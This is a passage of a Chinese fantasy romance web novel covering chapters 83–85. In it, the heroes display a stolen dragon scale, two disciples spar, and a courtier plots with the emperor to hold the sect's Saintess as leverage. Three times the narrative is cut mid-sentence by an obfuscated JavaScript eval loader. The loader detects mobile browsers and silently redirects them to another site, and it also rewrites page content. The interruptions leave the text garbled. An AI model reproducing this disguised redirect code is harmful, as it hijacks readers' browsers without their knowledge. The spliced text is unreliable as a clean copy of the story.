看着她气愤的脸,上官琛想还是先安抚她,于是和声道:“我是男子,不懂女子的心,要不你找我阿姐,我阿姐聪明机智,她肯定会开解你的。” “不行!”顾云萧眼中闪过一丝慌乱,“我向你袒露心扉,你谁也不能说,这是你我的秘密,你要是说了我就和你绝交!” 上官琛愣了一下,他忽然想起小的时候他和顾云萧玩闹时她也经常把“绝交”二字挂在嘴边,每次听见这两个字他都心里一颤,随即立马服软。 当时二人还不满十岁,顾云萧闹脾气都是因些无关痛痒的小事,现在不一样,上官琛能感觉到这不是小孩子过家家的这样的小事,他自己解决不了想当然想到阿姐,可顾云萧又不让他对阿姐说,他犹豫了一下慢慢道:“可你不开心啊。” 顾云萧怔了片刻,随后看向上官琛:“你不懂女孩子的心。” 上官琛不再说什么了,见顾云萧继续盘腿修炼,上官琛只好在一旁指点她。 他不懂顾云萧的心,但他是顾云萧的朋友和师父,在顾云萧身边做好一个朋友和师父该做的就行了。 83. 龙甲 都城命案被一个年轻公子查清一事很快家喻户晓,周望凭一己之力成功赢得了都城百姓的赞赏,随之而来的新身份也很快传遍四方。 百姓们对有才之士加以奖励或封官授爵一事都乐见其谈,但百姓们想不到甚至不太相信的便是周先生的贵宅竟是刚刚出了命案的刘府。 匾额一拆,新匾额再挂上,周府两个金光闪闪的大字昭示着刘府已经不复存在。朝中官员前来拜访恭贺,借此认识这位青年才俊,连都城的媒婆也来打听情况。 周府这几日一直是门庭若市,好不热闹,人来人往的人气就已经把鬼魂冲跑了,哪怕熟知这所宅子究竟发生了何事的人们也不再介意凶宅不凶宅了。 不过周望此人很有个性,当他发现自己家从早到晚有许多人来聒噪的时候,他直接告诉赵皇帝,说他喜欢清净,既然都是皇家的臣民,平时见面打个招呼就好了,不必刻意寒暄。 赵皇帝允了。 身为四公主的老师,周望不需要上朝议事,日常也比较清闲,不过即便休沐的时候他也甚少在家,那些想拜访想结交的人渐渐明白这位周先生的脾性,因此也很识趣地不再往来了。 一晃半个月过去,云轻说自己仍然没有找到丢失的烛台。周望似乎不着急:“府里就这么大,每个地方都找找挖挖,总会找到的。” 云轻本担心自己一直找不到烛台会受主人责怪,但见周望没有生气便更加费心去找,可府里的地方她差不多都找过了,烛台究竟在哪呢? * 一次上朝时,沈宫主就石碑还没点亮一事提了点建议:“陛下,如今朝荣国内所有人都用自己的血验了石碑,但石碑并没有全部被点亮,陛下不妨请天师大人再占卜一次,看看其中究竟有何玄机,魔龙之患越早消除,朝荣国就能早日回归安宁。” 经邱梧一事后,沈宫主越发觉得石碑印记暗藏玄机,最好的办法还是让宫里的天师再占卜一次,天师的话赵皇帝肯定信,各地百姓也会有所行动。 天师前前后后请神祭祀忙活了大半个月,夜观星象,盘腿运功,最终将龟甲上呈现的裂纹和符文拿到了赵皇帝眼前。 “启禀陛下,臣连续十五日以来求神占卜,最终确定,点亮石碑的能人异士将在都城出现。” 赵皇帝目露惊讶:“剩下四个都在都城?” “七位人士都来自都城,且星象所指,他们似乎集中在都城东北方向。” “东北……”赵皇帝脑子里过了一遍都城版图。 天师道:“东北方向版图颇大,不说崖海,陆地上皇宫、许多官员的府邸以及紫阳宫都在周围。臣认为人员流动在所难免,有些生在都城的人不一定就在都城生活,谨慎起见,臣建议让朝荣国内户籍在都城的人都来验血,或许会有收获。” 赵皇帝想了一会儿点点头,随即问:“既然出自都城,过去四个月以来,朝荣国所有人都验过血了,为什么没有全部点亮石碑?” 天师摸了摸长可及胸的胡须道:“陛下须知,有些事情需要一个契机,据臣推断,石碑并非俗物,或许它想要的人还没有出现,恕臣才疏学浅,只能占卜到这里,剩下的就要靠时机了。” 这种模棱两可的回答赵皇帝不是很满意,他撇撇嘴一挥手让天师离开了。 户籍在都城的人去验血这一消息很快下达至朝荣国各处,石碑前又排起了长长的队伍,有人道:“已有的三个都出自紫阳宫,还是紫阳宫厉害,既出自东北方向,我看定跟紫阳宫有关!” 顾云萧听了这消息大感失望,她不是都城人,心里却一直盼望能点亮石碑,如今从根上就排除了她,她越发郁闷。 容珠想想自己也算来自都城,毕竟穿过海屏障首先到达的就是这里,且她一直没去过其他地界,看来这天师占卜的还有些准头。 既然是来自都城,那范围便大大缩小了,希望能在短时间内集齐七人,魔龙便不会用更高超的手段搅乱朝荣国了。 * 如今正是吃桃的季节,紫阳宫的桃树都结了果,清甜的香气让人垂涎欲滴。几人正拿着竹篮站在桃林里摘桃,容珠忽然意识到了一件事,“半个月前魔龙就该苏醒了,怎么到现在还没出来?” 邱梧玩笑道:“说不定你上次削了它一片龙甲下来,它需要花更多的时间来医治吧。我记得当时把那片龙甲放你屋里了。” 容珠点头,她跟应白配合,够得着的桃子就自己摘,结在高处的就让应白摘。 邱梧倚着树干稍作休息,“我曾问过先生龙甲可否当药材入药或是有其他用途,先生说龙甲太过罕见特殊,不曾在医书中出现过,且刀又切不断,煮又煮不散,应不是做药材的料。” 应白道:“龙甲或许有其他用途,但凭我们之力尚不能很好利用,不知对于魔龙来说,掉落的龙甲还能否恢复。” 若龙甲掉了还有办法再安上?那…… 容珠立刻明白了应白的意思:“魔龙会来紫阳宫?” “如果真有这种法子,那魔龙定要拿回它的龙甲来治伤。”应白看着手中的桃,“如果要去敌人那里得到一样东西,你们会怎么做?” 凭魔龙的实力完全可以直接找紫阳宫对决,要回龙甲,但龙甲之所以掉落正是因容珠的灵力中含有奚昤之力,魔龙会不会忌惮这一点而另想别的办法? 朝荣国人光明磊落,即便要打仗也是递帖约日子。 应白思索道:“魔龙还有多少本事我们尚不可知,如果站在它的角度去想,在没有完全把握胜利的情况下,它会不会伪装自己博取敌人的信任甚至是喜欢,再找机会拿到它想要的东西?” “难怪这么久了都不见魔龙现身,莫非它已经想办法混进了紫阳宫而我们却不知道?”邱梧不敢保证魔龙不会变化之术。 妖魔一类如果道行足够高是可以变化形态的,魔龙不管是从外貌还是本领都绝不是修炼几百年的结果,它完全称得上是朝荣国有史以来最特殊强劲的妖魔。 容珠干脆道:“既然龙甲对我们来讲只是个战利品,没有什么用,那魔龙真想要的话,我们给他就是了,它也就不必再动用计谋想办法接近紫阳宫来达到目的。” 一旦动了计谋就不好说这过程当中会有何利害,龙甲现在容珠那儿,应白不希望她因这个被魔龙算计受什么伤害。 “这只是我的猜测,魔龙究竟需不需要龙甲还未可知,既然已经讨论到这个份上了,不如就把龙甲放在紫阳宫最显眼的地方吧,让紫阳宫所有人都知道。” 掉落的龙甲究竟能不能再用方法重回肉身,应白不会比魔龙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938068|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更清楚,可他们三个既然做出了“能”的假设,那为避免魔龙伤害紫阳宫人,这个战利品他们就不需要当宝贝似的藏起来。 傍晚前,紫阳宫的弟子们陆陆续续来到前院的假山前,这座假山正对紫阳宫大门,进入紫阳宫必经此路。 假山顶上有两块凸起的山石,而黑亮亮的龙甲正好卡在两块山石之间,那一小块缺口光滑整洁,泛着光泽,远远看去还以为假山上镶嵌了一块黑宝石。 众弟子早就听说上次剿龙时容珠姑娘削了一片龙甲下来,他们本想观摩,但当时容珠和圣女都因灵根草中了毒,整个紫阳宫都被焦急和担忧围绕,无人会去在意龙甲怎样了。 如今既摆到外面来,弟子们这才一饱眼福,匆匆看过后又忙着回去精进剑法。再过一段时间,各派宫主考核弟子剑法的日子就要来了。 每年春日的一两个月,各派宫主就要对弟子们过去一年来所学的功法进行检查,除此之外,各门各派的弟子要互相切磋交流。 本质上就是一场浩大的交友会,男男女女围在一起互相认识,交个朋友,谈情说爱,但切磋是正儿八经的,还有各派掌门坐阵观看,沈宫主作为主考官。 最近各派已陆陆续续开始举行交友会了,沈宫主因此格外忙碌。 这一日,邱梧正在沈宫主的书房里看书,有弟子跑来道:“圣女,不知沈宫主回来了吗?周先生来拜访紫阳宫。” 邱梧猜想或许周望有什么事想跟母亲说,但母亲不在,不管怎样她都要把来客请进来喝杯茶再说。 正直春日,紫阳宫风景秀丽,邱梧远远瞧见周望正站在假山前观赏着山顶之物。 “周先生。”邱梧微笑道,“最近各派掌门开始给弟子检测武艺,母亲被请去做考官了,现下不在紫阳宫,周先生不如进来喝杯茶,等母亲回来我再将事情转述给她。” 周望浅棕色的目光从龙甲上移开,阳光从侧面射在他眼睛上更显得他一双眼颜色极浅。 “也没什么,周某自认跟沈宫主十分投缘,就想来闲聊一番,周某忘了,沈宫主是朝荣国最厉害的人,自然不会像周某一样每天有品茶聊天的闲暇。” 他扫了一眼紫阳宫周围的景象,又看向龙甲道:“我没来都城前就听说魔龙被削龙甲一事,想必这个就是吧?” 邱梧笑道:“没错,就是这片龙甲。” “不知为何要把龙甲放在这里,有什么说头吗?”周望将手背在身后,因动作的拉扯,袖子上移,露出了刚刚包扎好的绷带。 邱梧心想魔龙向来是朝荣国每个人心中的阴影,若说魔龙很可能为了要回龙甲再次出现在紫阳宫,恐无端引起人心不安来,这本就是他们的猜测,所以临时想了个说法。 “龙甲罕见坚硬,听说把它晒晒磨成粉可以入药,对身体大有裨益,到时候给周公子送一些吃。” 周望的表情颇有些耐人寻味,邱梧估摸着周先生或许并不会对龙甲粉末感兴趣又或许他不相信龙甲能入药,只是教养良好没有多说什么罢了。 “既然沈宫主不在家,那周某便改日拜访,告辞了。” 周望淡淡笑着,他举止优雅,走路风度翩翩,邱梧目送他离开后便回去了。待周望走出紫阳宫拐个弯来到一隐蔽处时,身影便忽地消失不见了。 84. 姐妹 天气暖了,兔子们离开草窝到处跑,应白刚刚教完容珠一套剑法,二人正坐在草地上休息,银剑对击声从山坡下传来,紫阳宫的弟子们正和云景宫的弟子在比武场上相互切磋。 云景宫坐落在颖城,是朝荣国比较有名的制药门派,市面上几乎有八成丹药都出自云景宫,云景宫的云宫主经常和沈宫主往来,因紫阳宫的制药水平在朝荣国内同样数一数二。 世人谈起沈宫主,大都说她灵力高强,是朝荣国第一宫主,但其实沈宫主自小便学了炼丹制药的本事,于这方面颇有造诣。 后来因朝荣国时不时有妖魔作祟,别的门派束手无策,于是渐渐地,紫阳宫在众人心中便是抗魔首选门派,而云景宫在制药方面效果显著,因此就以制药闻名了。 在邱梧和上官琛小的时候,沈宫主就有意也让他们学习炼丹制药的本事,毕竟技多不压身,但上官琛显然只对舞刀弄枪感兴趣,沈宫主也不强迫他,倒是邱梧对此颇有研究,没过多久,沈宫主便遇到了顾寄章。 顾寄章祖上是开药铺的,专治老百姓的小毛小病,他精通的倒不是修炼之人所食的丹药,而是治病就医这方面。 邱梧想治病救命,帮人减轻伤痛可比炼制丹药有价值多了,于是在修炼之余还欣然跟着顾寄章学医。 云景宫的弟子来紫阳宫切磋,邱梧和上官琛自是要去参加的。容珠坐在山坡上能清楚看到比武场上的情形,很难不让她想起另一个世界的灵阶比试大会。 “灵阶比试大会也要举行了。”容珠声音伤感,方才练剑时的精神此刻在身上全然消失,应白看不见她的神色却知道她在想什么,门派被降级这个心结一直在容珠心里没有忘掉。 他安慰道:“凭你现在的实力,只要你想,就能回去给清凌门添一位人才。” 容珠摇摇头,“我的父母已经不在了,我无需回去向任何人证明自己不再是废物,我相信我的爹娘在天上一定能看到我的变化,我也相信容檀有能力带领清凌门步步高升。” 她望向崖海的方向,仿佛透过层层云雾与波浪,看到了伫立在山峰上的清凌门。 “在紫阳宫待了这么久,我越发觉得感情是很温暖有意义的事,容檀是我的表妹,我们之间却像不认识似的生疏冷漠,我在想,有没有一天,我们也能像姐妹一样互相关心,互相爱护呢?” 应白目光微移,落在她神色落寞的双眸上,长长的睫毛像耸拉着翅膀的小蝴蝶。 容掌门目中无人,骄傲自满,是那个世界强者为尊,弱者低贱的绝对执行人,跟容檀交流要用灵力说话,如果容珠将来有一日灵力能高过容檀,或许容檀对她的态度会有所改变,可这份改变不是基于感情,这不是容珠想要的。 “你不恨她吗?她曾经对你动了杀心。” 容珠想起将应白带出漩涡之境那晚,容檀拿着琉璃弓箭对准她的画面。 “从前只把她对我的种种作为当作理所应当之事,可她要把师父交给圣灵宫的时候,我又恨她太无情,太傲慢,现在我常想,容檀一直生活在强者为尊的世界,受到了环境限制,如果她也能看看朝荣国的风景,是不是会有所变化?” “她不曾见过另一种世界,自然不会拥有另一种情感,我……” 容珠停顿了一下,转头看向应白:“他们毕竟是我在世上仅剩的亲人了,不过……容檀那性子可能见到朝荣国的风土人情也只会认为这里可笑庸俗。” 应白内心一揪,他有母亲,而邱梧和上官琛的父母都在身边,顾云萧虽说经常和顾寄章拌嘴,但也有父女之情,容珠的父母先后离世,来到朝荣国后,看到身边的人都有父母疼爱,她肯定无数次幻想过若自己的父母仍然在身边该会是什么样的情景。 若只论回清凌门,容珠完全可以凭实力重返,甚至向容檀挑战掌门之位,由容珠亲自带领清凌门升至中灵、高灵,这是解开她心结最有效且最有价值的方法。 但争斗与尊严不是容珠所看重的,清凌门在容珠心中永远是渴望回去的地方,不是以不是废物的身份回去,而是以容檀表姐的身份回去。 容珠不是回清凌门,而是想回家。 这一点,应白无法帮到容珠。他犹豫了一下,把手轻轻地放在她的肩膀上,“你能修炼起灵力便是上天给你的一份惊喜,上天又怎会吝啬不再多给你一件呢?” 手心里的温度渐渐渗透衣衫在肩膀处悄无声息地蔓延。 有很多次,容珠看着邱梧、上官琛、沈宫主等人都会有种自己是局外人,是漂泊而来的没有家之人的感觉,但当她回头,就一定能看见应白站在自己身后。 他不常说话,身影却一次一次地告诉她:她不是孤身一人,她还有师父,她和师父是一个世界的人,她和他有共同的语言和经历。 这种身处异地,却仍然有个人能和自己聊自己知道但这里人不知道也没经历过的事,是一种特别亲切幸福的感觉。 这些事,是独属于他们的言语。 有一刹那,应白再一次从容珠眼中看到了某种目光,他甚至还不知道这种目光代表着什么,他的心就开始发烫发热。 那种情不自禁想靠近她的感觉又充斥了他的脑海,他未曾发觉自己的目光越陷越深,未曾发现对面之人的目光有些躲闪。 容珠不是第一次看到应白用这样的神情看着她,他的眼睛本就好看,生气的时候不会有多凌厉,伤心的时候更为柔和,而不管怎样,他的眼睛里始终有一道镇静的光芒,好像不管经历什么都能一直保持理智,不像此刻。 他眼睛里那道镇静的光芒好像被什么搅乱了一样,这样的眼神看不出情绪,却散发着分外明显的炽烈和认真,触上这样的眼神,容珠立时便心跳如擂鼓。 从前什么都不知道,因此看到这样的神色也只是更想多看一眼,而现在知道了自己和他的想法,这个眼神的含义便不言而喻了,没法装作不知继续对视下去。 她先收回了目光,低头拍衣服上的草沫,“那个……还不知道邱梧和上官琛切磋完了没,我们去看看他们在干嘛。”话还没说完就已站起。 应白回过神来,对自己刚才的状态不免有些后怕,容珠是他的徒弟,以后跟她相处的时光只会多不会少,若自己总是心思不纯,以后又要如何教她功法剑术? 两人心照不宣地往回走,彼此沉默着,都在绞尽脑汁想话题来打破这份尴尬时,忽然一个身影出现在了容珠面前。 顾云萧小跑着过来,从她不算轻松的表情来看,容珠猜测她和她应该不是偶遇。 “容珠,我要和你切磋武艺。”顾云萧话说一半,上官琛也从后面跑了过来,表情有点愁苦。 容珠思索了一下笑道:“你们二人打赌了吗?” “没有,我是正儿八经过来找你切磋的,打不打?” 虽是询问的语气,但顾云萧已经拔剑了,容珠想着顾云萧从来没找自己切磋过,今日突然有所举动,或许是看到紫阳宫和云景宫的弟子互相切磋而热血上涌,便也拔剑了。 应白和上官琛站到另一边,应白随口问:“看来你这个师父当得很称职,顾云萧在你的训练下越来越努力了。” 换做以前,上官琛定会因这句话十分自豪,但他知道顾云萧找容珠切磋的目的主要是想知道自己跟她差了多少,而绝非像其他紫阳宫弟子之间心平气和地切磋。 上官琛没有回答应白的话,自顾挠头。 三招后,容珠对顾云萧的实力略知一二,既然是切磋,输赢就是次要的,她又是除应白外第一次跟别人切磋,又不知道顾云萧的真实意图,为了切磋得久一点,难免要让招。 顾云萧表情吃力,目前为止,两人还没用灵力,只是单纯论剑,应白早早地看起了白云,上官琛还在苦大仇深看着容珠一次次给顾云萧进攻的机会。 终于,顾云萧看出了容珠在谦让,她恼道:“我光明正大找你切磋,你用不着让我,我就是要看看我究 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16942927|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟比你差多少,我输得起!” 话音一落,容珠便见对方剑身环绕着灵力,剑尖朝她脸面袭来,她双眸一利,微微侧身,左手握着顾云萧持剑的手腕,肘臂一弯,将她的身子往自己怀前一转,原先对着自己脸面的剑下一刻就架在了顾云萧的脖颈上。 因为是切磋,所以容珠掌握住了力道,若是实战,顾云萧此刻已经被抹脖子了。 应白注意到了容珠眸中的凶狠,这似乎不像是她应该有的神色,而且这个从背后抹脖子的动作多少散发出了一丝戾气,但他转眼又认为自己想多了。 胜负已分,上官琛以为容珠生气了,赶紧上前对顾云萧道:“既然切磋完了,你也知道跟人家差了多少,我们就回去继续修炼吧!” 顾云萧又惊又不甘,气冲冲把剑塞了回去扬声道:“我还会再来的。” 当二人的身影走远时,容珠早已恢复神态,她心有疑问,直言道:“师父,我总觉得云萧似乎不太喜欢我。” 应白闲时会跟顾寄章喝茶聊天,总听对方谈起顾云萧的种种不足之处,对顾云萧的性情大概了解,想到这是容珠来朝荣国以来第一次遇见脾性不相投的人,又想起她刚才切磋时的神色,于是道: “每个人都有自己的性情,她不喜欢你自不会与你来往,要是不喜欢还经常对你出言不敬或者对你做出不好的举动,便是无礼之举,你也不必以朋友之情待她。” “可是为什么呢?难道我有什么地方做得不好?” 应白温和地看着她:“做人只求问心无愧,不必考虑别人怎么认为。” * 快到中午时,邱梧提议去都城新开的饭馆吃饭,有其他宫主请沈宫主来自家门派吃饭,邱梧又邀请顾寄章同来,顾寄章欣然答应。 刚开业的铺子生意总是格外红火。邱梧问店小二要了个雅间,六个人刚好坐下,菜上齐时,顾寄章说要出去方便一下,没过多久应白也出去了。 几人吃饱喝足后,邱梧去柜台结账,老板说这桌已经付完钱了,邱梧当即知道饭前那两人相继出去的真实目的,于是质问应白:“你告诉我,是谁干的?” 容珠想若是顾先生付钱定是出于长辈的原因,如果应白付钱定是想感谢紫阳宫对他的热情和照顾。便见应白笑了笑道:“跟紫阳宫对我的关照比起来,这些不算什么。” 其实应白典当之前当圣灵时收的礼得来的钱足够在都城买十几栋宅子,但他要是为了不麻烦紫阳宫而出去住,那容珠自然也不好住在紫阳宫,可师徒俩若是住一个宅子便有些不太合适。 后来又因容珠点亮石碑的缘故,沈宫主更希望容珠住在紫阳宫,应白也打消了买宅子的想法,平常若是紫阳宫需要点什么东西,应白也会出手置办。 邱梧知应白客气,索性道:“好吧,你客气,我不跟你客气,下次吃席还你请,不过,我可不吃普通席。” 应白没听出来邱梧话里藏话,只笑道:“朝荣国我不熟悉,想吃什么你挑选。” 容珠便见邱梧朝自己隐晦地笑了笑,随即听她道:“跟朝荣国没关系,有一种席一生只能吃一次。” 结合过年时邱梧说有心人扫雪,以及前两天他和容珠早晨练剑,邱梧异常的笑,到现在她话里有话,应白十分肯定邱梧知道了什么。 难道是自己表现的太明显了?他转念一想,邱梧本就聪明细心,说不定什么时候就看出了什么,容珠经常和邱梧处在一起,邱梧会不会告诉她什么? 他也没发现容珠对他跟以前有何不一样,所以邱梧可能心里知道但并没有对容珠说…… 应白在一瞬间已经思考了许多东西,邱梧很隐晦地说,他也很隐晦地回答:“这么重要的席,自然大家要一起吃才好。” 邱梧笑得十分开心。顾寄章并不知道年轻人的笑点。上官琛和顾云萧自顾在一边玩乐,没听见这番对话。 容珠只觉得今年夏天来得格外早,她这会儿已经热得出汗了。 85. 牵制 黄昏渐渐来临,四公主结束了今日的课业,终于可以尽兴玩周先生带给她的小木马。周望收拾完东西,笑着对四公主道:“公主明日见。” “周先生再见。”她一只手握着木头把手,一只手挥舞着,明亮的眼睛带着纯真的喜悦。 周望沿着长廊往宫外走,远远瞧见赵皇帝在池塘边赏花逗鱼。他心下了然,走上前恭敬道:“拜见陛下。” 赵皇帝一笑,将鱼食交给身旁的太监,示意周望继续朝前走,“四公主学得可好?可有哭闹?” “公主聪明,很多东西一学就会,毕竟只是六岁的孩子,有的时候还是会想念母亲。” 四公主刚接触周望那会儿的确认生,但小孩子纯真无邪,周望给她带点皇宫里没有的小玩意儿,讲几个童话故事也就慢慢熟悉了。 而且四公主本就乖巧懂事又聪颖,她知道自己的母亲是因做错了事被关起来,想念母亲的时候也没有哭闹,而是画母亲的画像,简单的颜色与线条画在纸上虽然幼稚却满是情感。 赵皇帝眉头一皱:“她的确年纪小,所以很多事情都不懂,她那个母亲如市井泼妇般动手打人,寡人怎能放心让她教育公主?” 宫里的事周望不做评价,他只道:“人非圣贤,如果娘娘有悔改之心,陛下也该让公主回归母亲身边,老师所传授的终究是书本上的知识,四公主这个年纪心智尚未成熟,良好的教育少不了父母陪伴。” 赵皇帝似是想起了李贤妃不堪的一面甚为厌烦,但仔细揣摩了一番周望的话后又觉有理。 他本想去李贤妃宫中问问她是否知错,但一想到案上还有很多折子没看,于是决定先处理完公务再过来。 要说以前,每日送给赵皇帝的折子也就几封,顶多一个时辰就处理完了,但也不知从什么时候起,案上的折子越堆越高,打开一看,不是这里闹洪灾了,就是那里有土匪,再便是有人举报某官贪财,有人不满某官的为人处事…… 赵皇帝一封封看去,眉头皱得能夹死一只蚂蚁,他拿起一杯茶润润喉,随后继续看剩下的折子:某地出现聚众殴打现象,伤者昏迷至今未醒,头领现未抓到,恳请朝廷派人调查。 某地出现富商财宝被盗,家中并无蛛丝马迹,恳请朝廷派人调查。 某地一对夫妻对知府的离婚判决不满意,要求上告,恳请朝廷派人调解。 …… 赵皇帝将折子一摔,气愤道:“朝廷朝廷,以为寡人很闲吗?这种小事都做不好还有脸上奏?怎么朝荣国连个有用之人都没有!一群庸才!” 首领太监屏气凝神了一会儿,看赵皇帝消停了些,便把折子又都整齐地摆在桌上。赵皇帝看了窝火,一甩袖又将它们全都扔在了地上。 第二日上朝,赵皇帝问众大臣折子上写的事情有没有好的处理方法,有些人对殴打一事提出了建议,有些人对土匪一事提出要严惩处理,有些人表明对贪官要革职查办…… 众说纷纭,搅得赵皇帝只觉耳边一群苍蝇乱嗡,这时有人道:“周先生身俱断案之才,为人聪明谨慎,下官认为如果这些案件当地知府需要朝廷出手援助的话,陛下倒是可以考虑让周先生去调查一番。” 赵皇帝想了想,周望曾明言跟他说自己更想当老师,如今他给四公主当老师当得好好的,又把人家调去干这些,人家可能不太愿意。 赵皇帝又想了想,朝荣国之所以发生这么多民事纠纷,一定是当地知府无能愚笨,尸位素餐,周望的确是个人才,既然是皇家老师,那也是他的臣民,臣子就该听皇上的话。 思量过后,赵皇帝心里有了决定,这么一看,周望出现得还真及时,要是朝荣国内有纠纷外有魔龙,那他这个皇帝岂不日日焦心,寝食难安。 思及此,他在众多官员中搜寻到了紫阳宫宫主的身影,道:“寡人记得上次击杀魔龙已经过去很长时间了,沈宫主,魔龙至今没有动静吗?” 沈宫主出列回答:“回陛下,魔龙暂时没有出海的迹象,或许是上次伤势严重,此次要养得久一点,请陛下放心,紫阳宫定会保护好朝荣国的安危。” “你知道就好,魔龙难以对付,你身为朝荣国第一宫主,可不能疏忽松懈,降妖除魔是你的本职,旁的事不需要你操心处理。” 沈宫主听出了赵皇帝在说去年刑台一事,隔了这么长时间,看来赵皇帝一直为这事耿耿于怀,想要敲打她。 沈宫主泰然自若,义正言辞道:“陛下放心,除妖降魔一直是紫阳宫的分内之事,紫阳宫所做的一切都是为百姓服务,任何伤害百姓、引起民愤的事,紫阳宫绝不会袖手旁观,而且陛下让众多门派宫主参与早朝不就是为了让我们团结一致,为民着想吗?” 一部分朝臣微微点头,一部分朝臣眼神交流,上官宫主嘴角一笑,最前排的右相露出不屑的神情。 “沈宫主这话说的为国为民,本相实在感动不已,为官入朝者的确当个个为百姓着想,但赏罚分明也是陛下治理国家的英明之举,陛下为百姓好,百姓也得尊重敬重陛下,若出言不逊,行为不尊,则该当严惩,你说是吧,沈宫主?” “先有公正无私,才有赏罚分明,右相乃国之重臣,应该更明白事要看全,言辞谨慎的道理。” “臣惶恐,上有天子,天子的话才是最有道理的,臣等皆愿为陛下鞍前马后,至死效忠,沈宫主难道不这么想吗?” “若天子决定一切还要朝臣做什么?陛下要的是能臣贤才,不是溜须拍马的嘴臣!” “你放肆!”右相直指沈宫主,双目圆瞪,转头面朝赵皇帝跪下诉忠道:“陛下,臣一心为您,绝不像某些倚仗地位而试图夺权的人那样不忠不敬!” “右相慎言!沈宫主就事论事,何曾心怀不轨,你可知故意污蔑的后果是什么?”三皇子居高临下俯视着右相,右相不言,只是看向赵皇帝。 “够了!”赵皇帝朝右相抬手,让他起来,“寡人自然能分辨得清谁是能臣,谁有异心。” 沈宫主只当不知道赵皇帝在看自己。 下朝后,窝了一肚子火的赵皇帝将案上的东西都摔了下去。首领太监打算等陛下平息了再去一一收拾。 平息了怒火的赵皇帝想起昨日还有一件事没干,于是去了趟李贤妃的宫殿想听她认错。 但李贤妃不认为自己打沈美人有错,赵皇帝显然也不认为沈美人对皇后不敬是错,当李贤妃公然指出赵皇帝做事偏袒,不公正时,赵皇帝便放言让李贤妃一辈子在宫殿里囚禁。 傍晚周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947573|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望从公主殿出来又远远地瞧见了赵皇帝在喂鱼,待走近后,赵皇帝跟他说了想让他帮忙处理案件的想法,“寡人知道你只想当授人知识的老师,但寡人实在不忍看你的才华被隐没,若你能为寡人排忧解难,安稳民心,那寡人便再欣慰不过了。” 周望礼貌笑道:“陛下夸赞,臣愧不敢当,没有陛下的赏识,哪有臣进宫给四公主教书的机会,既然是陛下的提议,臣当然愿意为陛下分忧,只是如此一来,四公主便要另寻先生了。” 赵皇帝对周望的回答十分满意,他摆摆手道:“找先生是小事,你能站在寡人的角度思考问题就很不错,不像有些臣子仗着自己的能力也敢对寡人指手画脚,威胁寡人。” “陛下日理万机,一心为民,臣不相信朝荣国能有人不辨是非来指责陛下的不是。” 赵皇帝冷笑一声:“朝荣国除了皇宫,就属紫阳宫最有本事,但凡别的宫主能有沈青寒厉害,寡人早把紫阳宫处理了,哪里轮得到沈青寒一次次在寡人面前耀武扬威!” “沈宫主?”周望故作怀疑,“臣还没来都城的时候就耳闻紫阳宫盛名,一心想去拜访,既然陛下说沈宫主有异心,那臣也该尽早识人,一心效忠陛下。” 赵皇帝没想到周望如此得他心意,不禁十分高兴欣赏,“你果真是个不可多得的人才,只是现在魔龙之患未除,寡人不能把紫阳宫怎么样,沈青寒最好老实本分些,反正她又不是点亮石碑的人,若再有过分之举,寡人定不姑息。” 周望默默跟在赵皇帝身旁,片刻后他缓缓道:“臣有一计,可让陛下牵制紫阳宫。” 赵皇帝惊奇地看着他,“说来听听。” “臣听闻紫阳宫圣女邱梧品行端庄,实力高强,且又是点亮石碑的人之一,臣建议由她来当四公主的老师,在皇宫住下,这样一来,邱圣女的安危就掌握在陛下的手中。” 赵皇帝眉头微皱:“邱梧颇有实力,且你也说了,她是对抗魔龙的人之一,寡人明显不能对她如何,又何来牵制紫阳宫一说。” 周望笑得优雅:“正是因为邱圣女是点亮石碑的人,沈宫主以及旁人才不会怀疑陛下的目的,以邱圣女的资质当四公主的老师没有半分不合适之处,且当公主老师是荣耀之事,紫阳宫绝没有理由拒绝。当邱圣女进宫后她便要按照宫里规矩,除非有妖魔袭击,否则不可使用灵力,陛下随便找个教导公主不利的由头对她略加惩罚,沈宫主还能不明白陛下的用意吗?” 沈宫主当然了解自己的女儿不会做出教导失误的事,也就明白女儿在宫里受惩罚是赵皇帝为了提醒她不要得寸进尺,而且赵皇帝的惩罚定会掌握分寸,沈宫主不会因为邱梧没有伤口的伤而去找赵皇帝理论,无凭无据,她不占理。 “身为母亲不会想看到女儿受伤,沈宫主自然知道今后该如何对陛下。” 赵皇帝静静听完,竟然认为此计甚妙,天真地朝周望露出一个如获至宝的笑容:“满朝重臣,无一人能及你。” 周望揖礼:“世间有伯乐才有千里马,如果没遇见陛下,臣只是一匹野马而已。” 傍晚,一道旨意传到了紫阳宫。 沈宫主觉得莫名其妙,待要接旨时便听宣读旨意的小太监道:“紫阳宫圣女邱梧接旨——!” 86. 老师 